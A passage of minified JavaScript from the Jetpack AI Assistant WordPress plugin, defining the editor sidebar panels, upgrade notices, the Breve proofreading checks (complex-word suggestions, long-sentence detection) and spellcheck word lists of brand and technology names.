__=d.__,A=c.PluginPrePublishPanel,S=c.PluginDocumentSettingPanel,E=h()(&quot;jetpack-ai-assistant-plugin:sidebar&quot;),N=window?.Jetpack_Editor_Initial_State?.available_blocks?.[&quot;ai-assistant-usage-panel&quot;]?.available||!1,T=window?.Jetpack_Editor_Initial_State?.available_blocks?.[&quot;ai-featured-image-generator&quot;]?.available||!1,B=window?.Jetpack_Editor_Initial_State?.available_blocks?.[&quot;ai-title-optimization&quot;]?.available||!1,P=(0,f.C)(&quot;ai-title-optimization-keywords-support&quot;),I=({placement:e,requireUpgrade:t,upgradeType:s,showUsagePanel:n,showFairUsageNotice:o})=&gt;{const{checkoutUrl:i}=(0,r.ON)(),{productPageUrl:d}=(0,g.A)(),p=(0,k.Ul)(),h=(0,l.useSelect)(e=&gt;e(c.store).isEditedPostEmpty(),[]),{editPost:f}=(0,l.useDispatch)(c.store),b=(0,m.useCallback)(e=&gt;{f({featured_media:e.id})},[f]),w=(0,m.useMemo)(()=&gt;{const s=(0,u.applyFilters)(&quot;jetpack.ai.imageGenerationHandler&quot;,null,{entryPoint:&quot;featured-image&quot;,onImageSelect:b,extra:{placement:e,disabled:t}});return&quot;function&quot;==typeof s?s:null},[b,e,t]),A=__(&quot;Optimize Publishing&quot;,&quot;jetpack&quot;),S=__(&quot;Optimize Title&quot;,&quot;jetpack&quot;),E=P?S:A;return(0,C.jsxs)(C.Fragment,{children:[o&amp;&amp;(0,C.jsx)(a.PanelRow,{className:&quot;jetpack-ai-sidebar__feature-section&quot;,children:(0,C.jsx)(a.BaseControl,{__nextHasNoMarginBottom:!0,children:(0,C.jsx)(r.QA,{variant:&quot;muted&quot;})})}),h&amp;&amp;(0,C.jsx)(a.PanelRow,{className:&quot;jetpack-ai-sidebar__warning-content&quot;,children:(0,C.jsx)(a.Notice,{isDismissible:!1,status:&quot;warning&quot;,children:__(&quot;The following features require content to work.&quot;,&quot;jetpack&quot;)})}),(0,k.GB)()&amp;&amp;p&amp;&amp;(0,C.jsx)(a.PanelRow,{children:(0,C.jsxs)(a.BaseControl,{__nextHasNoMarginBottom:!0,children:[(0,C.jsx)(a.BaseControl.VisualLabel,{children:__(&quot;Write Brief (Beta)&quot;,&quot;jetpack&quot;)}),(0,C.jsx)(v.Lx,{})]})}),B&amp;&amp;(0,C.jsx)(a.PanelRow,{className:&quot;jetpack-ai-sidebar__feature-section&quot;,children:(0,C.jsxs)(a.BaseControl,{__nextHasNoMarginBottom:!0,children:[(0,C.jsx)(a.BaseControl.VisualLabel,{children:E}),(0,C.jsx)(x.A,{placement:e,busy:!1,disabled:t})]})}),(w||T)&amp;&amp;(0,C.jsx)(a.PanelRow,{className:&quot;jetpack-ai-sidebar__feature-section&quot;,children:(0,C.jsxs)(a.BaseControl,{__nextHasNoMarginBottom:!0,children:[(0,C.jsx)(a.BaseControl.VisualLabel,{children:__(&quot;Get Featured Image&quot;,&quot;jetpack&quot;)}),w?(0,C.jsx)(a.Button,{onClick:w,variant:&quot;secondary&quot;,disabled:t,children:__(&quot;Generate image&quot;,&quot;jetpack&quot;)}):(0,C.jsx)(r.m2,{busy:!1,disabled:t,placement:e})]})}),(0,C.jsx)(a.PanelRow,{className:&quot;jetpack-ai-sidebar__feature-section&quot;,children:(0,C.jsxs)(a.BaseControl,{__nextHasNoMarginBottom:!0,children:[(0,C.jsx)(a.BaseControl.VisualLabel,{children:__(&quot;Get Feedback&quot;,&quot;jetpack&quot;)}),(0,C.jsx)(y.A,{placement:e,busy:!1,disabled:t})]})}),t&amp;&amp;!N&amp;&amp;(0,C.jsx)(a.PanelRow,{children:(0,C.jsx)(_.A,{placement:e,type:s,upgradeUrl:i})}),N&amp;&amp;n&amp;&amp;(0,C.jsx)(a.PanelRow,{className:&quot;jetpack-ai-sidebar__feature-section&quot;,children:(0,C.jsx)(j.A,{placement:e})}),(0,C.jsx)(a.PanelRow,{className:&quot;jetpack-ai-sidebar__external-link&quot;,children:(0,C.jsx)(a.ExternalLink,{href:d,children:__(&quot;Learn more about Jetpack AI&quot;,&quot;jetpack&quot;)})}),(0,C.jsx)(a.PanelRow,{className:&quot;jetpack-ai-sidebar__external-link&quot;,children:(0,C.jsx)(a.ExternalLink,{href:&quot;https://jetpack.com/redirect/?source=jetpack-ai-feedback&quot;,children:__(&quot;Give us feedback&quot;,&quot;jetpack&quot;)})}),(0,C.jsx)(a.PanelRow,{className:&quot;jetpack-ai-sidebar__external-link&quot;,children:(0,C.jsx)(a.ExternalLink,{href:&quot;https://jetpack.com/redirect/?source=ai-guidelines&quot;,children:__(&quot;AI guidelines&quot;,&quot;jetpack&quot;)})}),(0,k.GB)()&amp;&amp;!p&amp;&amp;(0,C.jsx)(a.PanelRow,{className:&quot;jetpack-ai-sidebar__external-link&quot;,children:(0,C.jsx)(a.ExternalLink,{href:&quot;https://jetpack.com/support/publish-better-content-with-write-brief-with-ai/&quot;,children:__(&quot;Update on Write Brief (Beta)&quot;,&quot;jetpack&quot;)})})]})};function M(){const{requireUpgrade:e,upgradeType:t,currentTier:s,isOverLimit:u}=(0,r.yM)(),{tracks:d}=(0,n.st)(),p=(0,l.useSelect)(e=&gt;{const t=e(c.store).getCurrentPostType(),s=e(i.store).getPostType(t);return s?.viewable},[]),h=(0,n.Bd)(s);if(!p)return null;const m=__(&quot;Improve with AI&quot;,&quot;jetpack&quot;),g=h===n._X,f=h===n.Ti&amp;&amp;u,j=(0,k.Ul)();return(0,C.jsxs)(C.Fragment,{children:[j&amp;&amp;(0,C.jsx)(v.f4,{}),(0,C.jsx)(b.A,{children:(0,C.jsx)(a.PanelBody,{title:m,initialOpen:!1,onToggle:e=&gt;{var t;e&amp;&amp;(t=w.s6,E(t),d.recordEvent(&quot;jetpack_ai_panel_open&quot;,{placement:t}))},className:&quot;jetpack-ai-assistant-panel&quot;,children:(0,C.jsx)(I,{placement:w.s6,requireUpgrade:e,upgradeType:t,showUsagePanel:g,showFairUsageNotice:f})})}),(0,C.jsx)(S,{title:m,name:&quot;jetpack-ai-assistant&quot;,icon:(0,C.jsx)(o.jt,{}),children:(0,C.jsx)(I,{placement:w.wb,requireUpgrade:e,upgradeType:t,showUsagePanel:g,showFairUsageNotice:f})}),(0,C.jsx)(A,{title:m,icon:(0,C.jsx)(o.jt,{}),initialOpen:!1,children:(0,C.jsxs)(C.Fragment,{children:[B&amp;&amp;(0,C.jsx)(x.A,{placement:w.k6,busy:!1,disabled:e}),(0,C.jsx)(y.A,{placement:w.k6,busy:!1,disabled:e})]})})]})}(0,v.$A)()},45606(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(85985),n=s(56427),o=s(86087),a=s(27723),i=s(10790);const __=a.__;function l({onClick:e,type:t,placement:s=&quot;&quot;,currentTier:l,upgradeUrl:c}){const{tracks:u}=(0,r.st)(),d=(0,o.useCallback)(t=&gt;{u.recordEvent(&quot;jetpack_ai_upgrade_button&quot;,{placement:s}),e?.(t)},[e,u,s]),p=l?.value&amp;&amp;1!==l?.value?l.limit:20,h=__(&quot;You have reached the limit of &lt;strong&gt;20 free&lt;/strong&gt; requests. &lt;button&gt;&lt;span&gt;Upgrade to continue generating feedback.&lt;/span&gt;&lt;/button&gt;&quot;,&quot;jetpack&quot;),m=(0,a.sprintf)(/* translators: %d: the request limit for the current tier/plan */
__(&quot;You have reached the limit of &lt;strong&gt;%d requests&lt;/strong&gt;. &lt;button&gt;&lt;span&gt;Upgrade to continue generating feedback.&lt;/span&gt;&lt;/button&gt;&quot;,&quot;jetpack&quot;),p),g=(0,o.createInterpolateElement)(__(&quot;You&#039;ve reached the Jetpack AI rate limit. &lt;strong&gt;Please reach out to your VIP account team.&lt;/strong&gt;&quot;,&quot;jetpack&quot;),{strong:(0,i.jsx)(&quot;strong&quot;,{})}),f=(0,o.createInterpolateElement)(20===p?h:m,{strong:(0,i.jsx)(&quot;strong&quot;,{}),button:(0,i.jsx)(n.Button,{variant:&quot;link&quot;,onClick:d,href:c,target:&quot;_blank&quot;}),span:(0,i.jsx)(&quot;span&quot;,{})});return(0,i.jsx)(&quot;p&quot;,{children:&quot;vip&quot;===t?g:f})}},1661(e,t,s){&quot;use strict&quot;;s.d(t,{S:()=&gt;r});const r=&quot;jetpack-ai-breve&quot;},27180(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;f});var r=s(85985),n=s(94715),o=s(56427),a=s(29491),i=s(47143),l=s(27723),c=s(51609),u=s(29526),d=s(59958),p=s(80555),h=s(81932),m=s(36205),g=(s(66161),s(10790));const __=l.__,f=(0,a.compose)((0,i.withSelect)(e=&gt;({blocks:e(n.store).getBlocks(),disabledFeatures:e(d.M).getDisabledFeatures()})))(({blocks:e,disabledFeatures:t})=&gt;{const[s,n]=(0,c.useState)(null),{toggleFeature:l,toggleProofread:d,setPopoverHover:f,setHighlightHover:b,setPopoverAnchor:v}=(0,i.useDispatch)(&quot;jetpack/ai-breve&quot;),{tracks:k}=(0,r.st)(),y=(0,i.useSelect)(e=&gt;e(&quot;jetpack/ai-breve&quot;).isProofreadEnabled(),[]),x=(0,c.useCallback)(()=&gt;{if(!y)return;const t=(0,m.M)(e),s=(0,p.A)(t),r=&quot;number&quot;==typeof s?s.toFixed(2):null;n(r)},[e,y]),j=(0,a.useDebounce)(x,250),w=(0,c.useCallback)(e=&gt;t=&gt;{k.recordEvent(&quot;jetpack_ai_breve_feature_toggle&quot;,{type:e,on:t}),l(e,t)},[k,l]),_=(0,c.useCallback)(()=&gt;{k.recordEvent(&quot;jetpack_ai_breve_toggle&quot;,{on:!y}),d()},[k,y,d]);return(0,c.useEffect)(()=&gt;{j()},[j]),(e=&gt;{const[t,s]=(0,c.useState)(!1);t||(e(),s(!0))})(x),(0,c.useEffect)(()=&gt;{f(!1),b(!1),v({target:null,virtual:null})},[f,b,v,y,t]),(0,g.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-proofread&quot;,children:[(0,g.jsx)(o.PanelRow,{children:(0,g.jsx)(o.BaseControl,{__nextHasNoMarginBottom:!0,children:(0,g.jsx)(o.ToggleControl,{checked:y,onChange:_,label:__(&quot;Show issues &amp; suggestions&quot;,&quot;jetpack&quot;),__nextHasNoMarginBottom:!0})})}),y&amp;&amp;(0,g.jsx)(o.PanelRow,{children:(0,g.jsxs)(o.Card,{size:&quot;small&quot;,className:&quot;jetpack-ai__write-brief-card&quot;,children:[(0,g.jsx)(o.CardBody,{size:&quot;small&quot;,children:(0,g.jsx)(o.BaseControl,{__nextHasNoMarginBottom:!0,children:(0,g.jsx)(&quot;div&quot;,{className:&quot;feature-checkboxes-container&quot;,children:u.A.map(e=&gt;(0,h.Ur)(e.config.name)&amp;&amp;(0,g.jsx)(o.CheckboxControl,{className:y?&quot;&quot;:&quot;is-disabled&quot;,disabled:!y,&quot;data-breve-type&quot;:e.config.name,label:e.config.title,checked:!t.includes(e.config.name),onChange:w(e.config.name),__nextHasNoMarginBottom:!0},e.config.name))})})}),(0,g.jsx)(o.CardFooter,{size:&quot;small&quot;,className:&quot;jetpack-ai-proofread__grade-level-container&quot;,children:null===s?(0,g.jsx)(&quot;p&quot;,{className:&quot;jetpack-ai-proofread__help-text&quot;,children:__(&quot;Write to see your grade level.&quot;,&quot;jetpack&quot;)}):(0,g.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-proofread__grade-label&quot;,children:[s,&quot; &quot;,__(&quot;Reading grade score&quot;,&quot;jetpack&quot;)]})})]})})]})})},64949(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;c,jp:()=&gt;i,zz:()=&gt;a});var r=s(27723),n=s(53817),o=s(80811);const __=r.__,a=o.A,i={name:&quot;complex-words&quot;,title:__(&quot;Complex words&quot;,&quot;jetpack&quot;),tagName:&quot;span&quot;,className:&quot;jetpack-ai-breve__has-proofread-highlight--complex-words&quot;,defaultEnabled:!0},l=new RegExp(`\\b(${Object.keys(o.A).map(n.N).join(&quot;|&quot;)})\\b`,&quot;gi&quot;);function c(e){const t=e.matchAll(l),s=[];for(const e of t){const t=e[0].trim();s.push({text:t,suggestion:o.A[t],startIndex:e.index,endIndex:e.index+t.length})}return s}},80811(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={&quot;a and/or b&quot;:&quot;a or b or both&quot;,&quot;able to&quot;:&quot;can&quot;,accompany:&quot;go with&quot;,accomplish:&quot;do&quot;,accorded:&quot;given&quot;,accordingly:&quot;so&quot;,accrue:&quot;add&quot;,accurate:&quot;correct&quot;,activate:&quot;turn on&quot;,additional:&quot;more&quot;,address:&quot;discuss&quot;,&quot;adjacent to&quot;:&quot;next to&quot;,administer:&quot;manage&quot;,advantageous:&quot;helpful&quot;,&quot;adversely impact on&quot;:&quot;hurt&quot;,advise:&quot;recommend&quot;,&quot;afford an opportunity&quot;:&quot;allow&quot;,aircraft:&quot;plane&quot;,allocate:&quot;divide&quot;,&quot;allows you to&quot;:&quot;lets you&quot;,alternative:&quot;other&quot;,anticipate:&quot;expect&quot;,&quot;a number of&quot;:&quot;some&quot;,apparent:&quot;clear&quot;,appreciable:&quot;many&quot;,approximate:&quot;about&quot;,&quot;arrive onboard&quot;:&quot;arrive&quot;,&quot;as a means of&quot;:&quot;to&quot;,ascertain:&quot;find out&quot;,assist:&quot;help&quot;,&quot;associated with&quot;:&quot;part of&quot;,attain:&quot;meet&quot;,attempt:&quot;try&quot;,&quot;at the present time&quot;:&quot;now&quot;,begin:&quot;start&quot;,benefit:&quot;help&quot;,&quot;by means of&quot;:&quot;by&quot;,cannot:&quot;can&#039;t&quot;,capability:&quot;ability&quot;,caveat:&quot;warning&quot;,&quot;close proximity&quot;:&quot;near&quot;,&quot;combat environment&quot;:&quot;combat&quot;,combined:&quot;joint&quot;,complete:&quot;finish&quot;,&quot;comply with&quot;:&quot;follow&quot;,component:&quot;part&quot;,comprise:&quot;form&quot;,concerning:&quot;about&quot;,configure:&quot;set up&quot;,consequently:&quot;so&quot;,consolidate:&quot;combine&quot;,constitutes:&quot;is&quot;,contains:&quot;has&quot;,convene:&quot;meet&quot;,credentials:&quot;username and password&quot;,currently:&quot;now&quot;,customizations:&quot;changes&quot;,customize:&quot;edit&quot;,deactivate:&quot;turn off&quot;,deem:&quot;consider&quot;,delete:&quot;cut&quot;,demonstrate:&quot;show&quot;,depart:&quot;leave&quot;,designate:&quot;appoint&quot;,desire:&quot;want&quot;,determine:&quot;decide&quot;,disable:&quot;turn off&quot;,disclose:&quot;show&quot;,discontinue:&quot;stop&quot;,display:&quot;show&quot;,disseminate:&quot;give&quot;,&quot;due to the fact that&quot;:&quot;since&quot;,&quot;due to the fact&quot;:&quot;since&quot;,&quot;during the period&quot;:&quot;during&quot;,&quot;e.g.&quot;:&quot;like&quot;,&quot;effect modifications&quot;:&quot;make changes&quot;,elect:&quot;choose&quot;,eliminate:&quot;cut&quot;,employ:&quot;use&quot;,enable:&quot;turn on&quot;,&quot;enables you to&quot;:&quot;lets you&quot;,encounter:&quot;meet&quot;,endeavor:&quot;try&quot;,ensure:&quot;make sure&quot;,enumerate:&quot;count&quot;,equipments:&quot;equipment&quot;,equitable:&quot;fair&quot;,establish:&quot;prove&quot;,evidenced:&quot;showed&quot;,evident:&quot;clear&quot;,exhibit:&quot;show&quot;,expedite:&quot;speed up&quot;,expeditious:&quot;fast&quot;,expend:&quot;spend&quot;,expertise:&quot;ability&quot;,expiration:&quot;end&quot;,facilitate:&quot;help&quot;,&quot;failed to&quot;:&quot;didn&#039;t&quot;,feasible:&quot;workable&quot;,females:&quot;women&quot;,finalize:&quot;finish&quot;,following:&quot;next&quot;,&quot;for a period of&quot;:&quot;for&quot;,&quot;for example,______etc.&quot;:&quot;for example&quot;,forfeit:&quot;lose&quot;,forward:&quot;send&quot;,frequently:&quot;often&quot;,function:&quot;role&quot;,furnish:&quot;give&quot;,&quot;gives you the ability to&quot;:&quot;lets you&quot;,&quot;has a requirement for&quot;:&quot;needs&quot;,&quot;he or she&quot;:&quot;they&quot;,herein:&quot;here&quot;,heretofore:&quot;until now&quot;,herewith:&quot;below&quot;,&quot;his or her&quot;:&quot;their&quot;,however:&quot;but&quot;,identical:&quot;same&quot;,identify:&quot;find&quot;,immediately:&quot;at once&quot;,impacted:&quot;affected&quot;,&quot;in a timely manner&quot;:&quot;on time&quot;,&quot;in accordance with&quot;:&quot;by&quot;,&quot;in addition&quot;:&quot;also&quot;,&quot;in an effort to&quot;:&quot;to&quot;,&quot;in conjunction with&quot;:&quot;at the same time&quot;,&quot;in lieu of&quot;:&quot;instead of&quot;,&quot;in order that&quot;:&quot;for&quot;,&quot;in order to&quot;:&quot;to&quot;,&quot;in regard to&quot;:&quot;about&quot;,&quot;in relation to&quot;:&quot;about&quot;,&quot;in the amount of&quot;:&quot;for&quot;,&quot;in the event of&quot;:&quot;if&quot;,&quot;in the near future&quot;:&quot;soon&quot;,&quot;in view of&quot;:&quot;since&quot;,&quot;in view of the above&quot;:&quot;so&quot;,&quot;inasmuch as&quot;:&quot;since&quot;,inception:&quot;start&quot;,&quot;incumbent upon&quot;:&quot;must&quot;,indicate:&quot;show&quot;,indication:&quot;sign&quot;,initial:&quot;first&quot;,initiate:&quot;start&quot;,input:&quot;enter&quot;,&quot;interpose no objection&quot;:&quot;don&#039;t object&quot;,&quot;is applicable to&quot;:&quot;applies to&quot;,&quot;is authorized to&quot;:&quot;may&quot;,&quot;is in consonance with&quot;:&quot;agrees with&quot;,&quot;it appears&quot;:&quot;seems&quot;,liaison:&quot;discussion&quot;,&quot;limited number&quot;:&quot;limits&quot;,magnitude:&quot;size&quot;,maintain:&quot;keep&quot;,maximum:&quot;most&quot;,methodology:&quot;method&quot;,methods:&quot;ways&quot;,minimize:&quot;decrease&quot;,minimum:&quot;least&quot;,modify:&quot;change&quot;,monitor:&quot;check&quot;,necessitate:&quot;need&quot;,notify:&quot;tell&quot;,&quot;not later than 10 May&quot;:&quot;by 10 May&quot;,&quot;not later than 1600&quot;:&quot;by 1600&quot;,notwithstanding:&quot;still&quot;,numerous:&quot;many&quot;,objective:&quot;aim&quot;,obligate:&quot;bind&quot;,observe:&quot;see&quot;,operate:&quot;run&quot;,optimization:&quot;improvement&quot;,optimize:&quot;improve&quot;,optimum:&quot;best&quot;,option:&quot;choice&quot;,parameters:&quot;limits&quot;,participate:&quot;take part&quot;,perform:&quot;do&quot;,permit:&quot;let&quot;,&quot;pertaining to&quot;:&quot;about&quot;,portion:&quot;part&quot;,possess:&quot;have&quot;,practicable:&quot;practical&quot;,preceding:&quot;before&quot;,preclude:&quot;prevent&quot;,present:&quot;show&quot;,previous:&quot;earlier&quot;,previously:&quot;before&quot;,prioritize:&quot;rank&quot;,&quot;prior to&quot;:&quot;before&quot;,proceed:&quot;do&quot;,proficiency:&quot;skill&quot;,promulgate:&quot;issue&quot;,provide:&quot;give&quot;,&quot;provided that&quot;:&quot;if&quot;,&quot;provides guidance for&quot;:&quot;guides&quot;,purchase:&quot;buy&quot;,&quot;pursuant to&quot;:&quot;by&quot;,receive:&quot;get&quot;,reflect:&quot;show&quot;,regarding:&quot;about&quot;,&quot;relative to&quot;:&quot;about&quot;,relocate:&quot;move&quot;,remain:&quot;stay&quot;,remainder:&quot;rest&quot;,remuneration:&quot;pay&quot;,render:&quot;give&quot;,represents:&quot;is&quot;,request:&quot;ask&quot;,require:&quot;must&quot;,&quot;required to&quot;:&quot;need to&quot;,requirement:&quot;need&quot;,reside:&quot;live&quot;,retain:&quot;keep&quot;,selection:&quot;choice&quot;,&quot;set forth in&quot;:&quot;in&quot;,&quot;similar to&quot;:&quot;like&quot;,simultaneously:&quot;at the same time&quot;,solicit:&quot;ask for&quot;,&quot;state-of-the-art&quot;:&quot;latest&quot;,subject:&quot;the&quot;,submit:&quot;send&quot;,subsequent:&quot;later&quot;,subsequently:&quot;after&quot;,substantial:&quot;large&quot;,&quot;such as&quot;:&quot;like&quot;,sufficient:&quot;enough&quot;,terminate:&quot;end&quot;,&quot;the system&quot;:&quot;we&quot;,&quot;the undersigned&quot;:&quot;I&quot;,therefore:&quot;so&quot;,therein:&quot;there&quot;,thereof:&quot;its&quot;,timely:&quot;prompt&quot;,&quot;to be able to&quot;:&quot;to&quot;,transaction:&quot;order&quot;,transmit:&quot;send&quot;,&quot;unable to&quot;:&quot;can&#039;t&quot;,&quot;under the provisions of&quot;:&quot;under&quot;,&quot;until such time as&quot;:&quot;until&quot;,utilize:&quot;use&quot;,url:&quot;link&quot;,validate:&quot;confirm&quot;,viable:&quot;workable&quot;,vice:&quot;instead of&quot;,warrant:&quot;permit&quot;,whereas:&quot;since&quot;,&quot;with reference to&quot;:&quot;about&quot;,&quot;with the exception of&quot;:&quot;except for&quot;,witnessed:&quot;saw&quot;,&quot;x and/or y&quot;:&quot;x, y, or both&quot;}},87453(e,t,s){&quot;use strict&quot;;function r(){const e=document.querySelector(&#039;iframe[name=&quot;editor-canvas&quot;]&#039;),t=e?.contentDocument||e?.contentWindow?.document;return{foundContainer:t?.body||document.querySelector(&quot;.edit-post-visual-editor &gt; div&quot;),foundIframe:!!e}}s.d(t,{A:()=&gt;r})},95073(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;g});var r=s(96865),n=s(47143),o=s(59958),a=s(87453),i=s(65634),l=s(29526);let c,u,d=!localStorage.getItem(&quot;jetpack-ai-breve-first-hover&quot;);function p(e){if(e===document.body||null===e)return null;const t=e.getAttribute(&quot;data-breve-type&quot;);return l.A.map(({config:e})=&gt;e.name).includes(t)?e:p(e.parentElement)}async function h(e){if(d){await(0,r.Fs)(),d=!1,localStorage.setItem(&quot;jetpack-ai-breve-first-hover&quot;,&quot;false&quot;);if(window.innerWidth&lt;600)return}clearTimeout(c),clearTimeout(u);const t=(0,n.select)(o.M);u=setTimeout(()=&gt;{if(t.isPopoverHover())return;const s=p(e.target);if(!s)return;let r=s;if(s.getAttribute(&quot;data-breve-type&quot;)===i.S.name){const t=s.getBoundingClientRect(),n=0===e.clientY-Math.floor(t.top)?10:0;r={getBoundingClientRect:()=&gt;({top:e.clientY+n,left:e.clientX,bottom:e.clientY,right:e.clientX,width:0,height:0,x:e.clientX,y:e.clientY}),contextElement:e.target}}(0,n.dispatch)(&quot;jetpack/ai-breve&quot;).setHighlightHover(!0),(0,n.dispatch)(&quot;jetpack/ai-breve&quot;).setPopoverAnchor({target:s,virtual:r})},500)}function m(){clearTimeout(c),clearTimeout(u),c=setTimeout(()=&gt;{(0,n.dispatch)(&quot;jetpack/ai-breve&quot;).setHighlightHover(!1)},100)}function g(e){const{foundContainer:t}=(0,a.A)(),s=`block-${e}`,r=t?.querySelector?.(`#${s}`);l.A.forEach(({config:e})=&gt;{const t=r?.querySelectorAll?.(`[data-breve-type=&#039;${e.name}&#039;]`);t&amp;&amp;t?.length&gt;0&amp;&amp;t.forEach(e=&gt;{e?.removeEventListener?.(&quot;mouseover&quot;,h),e?.addEventListener?.(&quot;mouseover&quot;,h),e?.removeEventListener?.(&quot;mouseleave&quot;,m),e?.addEventListener?.(&quot;mouseleave&quot;,m)})})}},29526(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(27723),n=s(64949),o=s(65634),a=s(8589),i=s(39e3);const __=r.__,l=[{config:a.rp,highlight:a.Ay,description:__(&quot;Fix spelling mistakes.&quot;,&quot;jetpack&quot;)},{config:n.jp,highlight:n.Ay,dictionary:n.zz,description:__(&quot;Use simple, direct words.&quot;,&quot;jetpack&quot;)},{config:o.S,highlight:o.A,description:__(&quot;Long sentences are hard to read.&quot;,&quot;jetpack&quot;)},{config:i.E,highlight:i.A,description:__(&quot;Remove weasel words.&quot;,&quot;jetpack&quot;)}]},65634(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i,S:()=&gt;o});var r=s(27723),n=s(53817);const o={name:&quot;long-sentences&quot;,title:(0,r.__)(&quot;Long sentences&quot;,&quot;jetpack&quot;),tagName:&quot;span&quot;,className:&quot;jetpack-ai-breve__has-proofread-highlight--long-sentences&quot;,defaultEnabled:!0},a=/[^\s][^.!?]+[.!?]+/g;function i(e){const t=[],s=e.match(a);if(!s)return t;return[...new Set(s.filter(e=&gt;e.split(/\s+/).length&gt;20))].forEach(s=&gt;{const r=new RegExp((0,n.N)(s),&quot;gi&quot;),o=e.matchAll(r);for(const e of o)t.push({text:s,startIndex:e.index,endIndex:e.index+s.length})}),t}},83514(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=&quot;\nAkismet\nAutomattic\nAutomattician\nAutomatticians\nbbPress\nBuddyPress\nCloudup\nCrowdsignal\nGravatar\nJetpack\nLongreads\nMullenweg\nNewspack\nPressable\nSensei\nSimplenote\nTumblr\nVideoPress\nWooCommerce\nWordCamp\nWPScan\n&quot;},47716(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=[&quot;Barilla\nBurger\nCoca\nCola\nDanone\nDominos\nEsso\nFanta\nHeineken\nHelloFresh\nHäagen\nDazs\nKelloggs\nMilka\nNestlé\nNutella\nPepsi\nStarbucks\nKing\nMcDonalds\nKat\nSprite\nDrPepper\nAbsolut\n&quot;,&quot;Amex\nBradesco\nCiti\nGoldman\nSachs\nLloyds\nMercadoPago\nNubank\nPagSeguro\nPayPal\nRevolut\nSantander\nSquare\nStripe\nVenmo\nVisa\nMastercard\nPicPay\nAllianz\nAXA\nBlackRock\nSchwab\n&quot;,&quot;Audi\nBMW\nBenz\nFord\nHyundai\nKia\nLamborghini\nLand\nRover\nMercedes\nMitsubishi\nNissan\nPeugeot\nRenault\nSkoda\nSubaru\nTata\nToyota\nVolkswagen\nVolvo\nHonda\nTesla\nFerrari\nPorsche\nMaserati\nBentley\nRolls\nRoyce\nJaguar\nAston\nMartin\nMcLaren\nBugatti\n&quot;,&quot;Acer\nDyson\nGoPro\nHP\nHPE\nHuawei\nJBL\nLenovo\nLG\nMacintosh\nNikon\nNokia\nPhilips\nSamsung\nSony\nXiaomi\nNintendo\nAsus\nFujifilm\nFitbit\nGarmin\n&quot;,&quot;Adidas\nAsics\nBalenciaga\nBenetton\nCartier\nFila\nGucci\nHermès\nHublot\nLacoste\nLouis\nVuitton\nMango\nNike\nPuma\nRayBan\nReebok\nRolex\nSwatch\nZalando\nZara\nGiorgio\nArmani\nVersace\nPrada\nFendi\nBurberry\nRalph\nLauren\nTommy\nHilfiger\nCalvin\nKlein\nLevi\nStrauss\nTimberland\nConverse\nVans\nCrocs\nUgg\nTimberland\n&quot;,&quot;AirFrance\nBooking\nExpedia\nHilton\nHyatt\nKLM\nMarriott\nTripadvisor\nAirbnb\n&quot;,&quot;BBC\nDisney\nHBO\nNetflix\nSpotify\nTwitch\nYouTube\nHulu\nPatreon\nCrunchyroll\nFunimation\n&quot;,&quot;Bayer\nNovartis\nPfizer\nRoche\nSanofi\nGSK\nAstraZeneca\nNovavax\nModerna\nBioNTech\nSanofi\nGSK\n&quot;,&quot;Alibaba\nAmazon\nCarrefour\nEtsy\nRakuten\nTemu\nWalmart\neBay\nZalando\nBestBuy\nHomeDepot\nIkea\n&quot;,&quot;Chanel\nDior\nEstée\nLauder\nL&#039;Oréal\nMaybelline\nNivea\nSephora\nClinique\nLancôme\nGivenchy\nEstée\n&quot;,&quot;3M\nProcter\nGamble\nUnilever\nPritt\nBristol\nJoma\n&quot;,&quot;Twilio\nDigitalOcean\nClickUp\nFastly\nAuth0\nAlgolia\nOpenAI\nGoPro\nJetBrains\nMeta\nApple\nGoogle\nFacebook\nDuckDuckGo\nInstagram\nLinkedIn\nVercel\nCalendly\nTencent\nAdobe\nIBM\nKaspersky\nMicrosoft\nOpera\nOracle\nSquarespace\nHubSpot\nZapier\nCoinbase\nBinance\nRobinhood\nActivision\nUbisoft\nRockstar\n&quot;,&quot;DoorDash\nUber\nEternal\nGrab\nSwiggy\nDeliveroo\nHelloFresh\nWolt\nBolt\nLyft\nDHL\nFedEx\nPostmates\nInstacart\nShipt\n&quot;,&quot;Tinder\nBumble\nBadoo\nOkCupid\nHinge\nMatch\nGrindr\n&quot;,&quot;Duolingo\nGrammarly\nUdemy\nPetrobras\nShell\nedX\nSkillshare\nPluralsight\nCodecademy\n&quot;,&quot;Aramco\nChevron\nEcopetrol\nExxon\n&quot;,&quot;Deloitte\nJLL\nSalesforce\nSAP\nVodafone\n&quot;,&quot;Bridgestone\nCaterpillar\nSiemens\nBASF\n&quot;].flatMap(e=&gt;e.trim().split(&quot;\n&quot;).filter(e=&gt;&quot;&quot;!==e.trim())).join(&quot;\n&quot;)},60513(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=&quot;Fortran\nJoomla\nLaravel\nVue\nWebpack\nWebSocket\nnpm\npnpm\nESLint\nSupabase\nGraphQL\ngRPC\nDALL\nCodeSandbox\nCodespaces\nTravisCI\nCircleCI\nKubernetes\nPrismic\nSendGrid\nVultr\nVite\nDockerfile\nMakefile\nmakefile\nJSON\nYAML\nYML\nCSV\n&quot;},67955(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const 